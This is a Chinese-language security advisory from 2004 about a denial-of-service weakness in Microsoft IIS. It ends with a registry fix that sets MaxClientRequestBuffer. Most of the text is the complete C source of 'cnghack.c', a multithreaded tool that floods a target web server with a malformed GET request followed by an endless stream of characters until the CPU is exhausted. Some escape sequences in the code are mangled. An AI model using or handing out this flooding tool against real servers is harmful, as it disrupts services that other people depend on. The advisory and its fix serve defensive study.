ASP漏洞分析和解决方法(5)

March 25,2004

17 IIS web server DOS

　　漏洞描述：
　　默认情况下，IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建，针对这种NT系
统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer"
设置为256(bytes)，则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制，因此，利用
下面的程序。可以很容易地对IIS server实行DOS攻击：

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS [email protected]://www.eeye.comn"For my
beloved."n");
if(argc<2){
printf("Usage: %s [server] [port]n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.n");
exit(1);
}
else{
printf("started winsock.nn");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/rn";
int die=1;
printf("Entered CNGn");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socketn");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %in", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %in", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNGn");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an rn
[buffer] is a never ending stream of A's

　　攻击结果将导致NT系统的CPU占用率达到 100%

　　解决方案
　　运行Regedt32.exe
在：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw3svcparameters
增加一个值：
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
　　设置为十进制
　　具体数值设置为你想设定的IIS允许接受的URL最大长度。
　　CNNS的设置为256